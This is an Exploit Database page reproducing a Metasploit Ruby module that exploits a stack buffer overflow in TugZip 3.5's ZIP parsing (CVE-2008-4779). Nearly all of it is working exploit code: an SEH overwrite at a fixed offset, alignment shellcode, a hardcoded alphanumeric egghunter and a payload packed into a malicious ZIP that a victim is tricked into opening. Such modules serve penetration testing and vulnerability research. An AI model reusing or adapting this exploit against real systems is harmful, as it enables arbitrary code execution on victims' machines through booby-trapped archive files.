TugZip 3.5 Archiver – ‘.ZIP’ File Parsing Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2011-10-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17967/

• ##
  # $Id: tugzip.rb 13868 2011-10-11 03:30:14Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'rex/zip'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow vulnerability
  				in the latest version 3.5 of TugZip archiving utility.
  				In order to trigger the vulnerability, an attacker must convince someone
  				to load a specially crafted zip file with TugZip by double click or file open.
  				By doing so, an attacker can execute arbitrary code as the victim user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Stefan Marin', # Vulnerability discovery
  					'Lincoln', # Corelan team. Original exploit
  					'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
  					'mr_me <steventhomasseeley[at]gmail.com>',# Metasploit module
  				],
  			'Version'=> '$Revision: 13868 $',
  			'References' =>
  				[
  					[ 'OSVDB', '49371' ],
  					[ 'CVE', '2008-4779' ],
  					[ 'BID', '17432' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]
  				],
  			'Platform' => [ 'win' ],
  			'Payload'=>
  				{
  					'BadChars'=> "\x00\x0f\x14\x15\x2f" + (0x80..0xff).to_a.pack('C*'),
  					'DisableNops' => true, # no need
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  					'EncoderOptions' =>
  						{
  							'BufferRegister' => 'EDI', # Egghunter jmp EDI
  						}
  				},
  
  			'Targets'=>
  				[
  					[
  						'Universal',
  						{
  							'Ret'=> 0x7e0c307e,
  							# 5.00.2147.1 [ztvcabinet.dll]
  							# POP EBX > POP EBP > RETN
  							'Offset' => 372, # to nseh
  						}
  					],
  				],
  			'DislosureDate' => 'Oct 28 2008',
  			'DefaultTarget'=> 0))
  
  			register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
  			], self.class)
  
  	end
  
  	def exploit
  
  		# Hardcoded egghunter due to size limit (before nseh destroyed/130D past seh of usable bytes)
  		# base register ESI
  		hunter = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs"
  		hunter << "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA"
  		eggtag = 'w00t' * 2
  
  		getpc_asm = %q{
  			popad
  			popad
  			popad
  			popad
  			popad
  			pop ebx
  		}
  
  		# Align EBX for hunter
  		alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string
  
  		# Align for ESI + factoring mangled chars
  		alignment << "\x89\x05"# jmp short (5 bytes) to 'jmp back' at end
  		alignment << "\x5e"# pop esi
  		alignment << "\x41"# nop (inc ecx)
  		alignment << "\x98\x99"# call esi
  		alignment << "\x41"# nop (inc ecx)
  		alignment << "\x8a\x94\x98\x98\x98"# jmp back to pop esi
  
  		getpc_asm = %q{
  			popad
  			pop esp
  			inc eax
  			inc eax
  		}
  
  		# Realign stack pointer
  		nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string
  
  		seh = [target.ret].pack("V*")
  
  		sploit = rand_text_alpha(target['Offset'])
  		sploit << nseh << seh 
  		sploit << alignment
  		sploit << hunter
  		sploit << eggtag << payload.encoded
  
  		zip = Rex::Zip::Archive.new
  		xtra = [0xdac0ffee].pack('V')
  		comment = [0xbadc0ded].pack('V')
  		zip.add_file(sploit, xtra, comment)
  
  		# Create the file
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  
  		file_create(zip.pack)
  	end
  
  end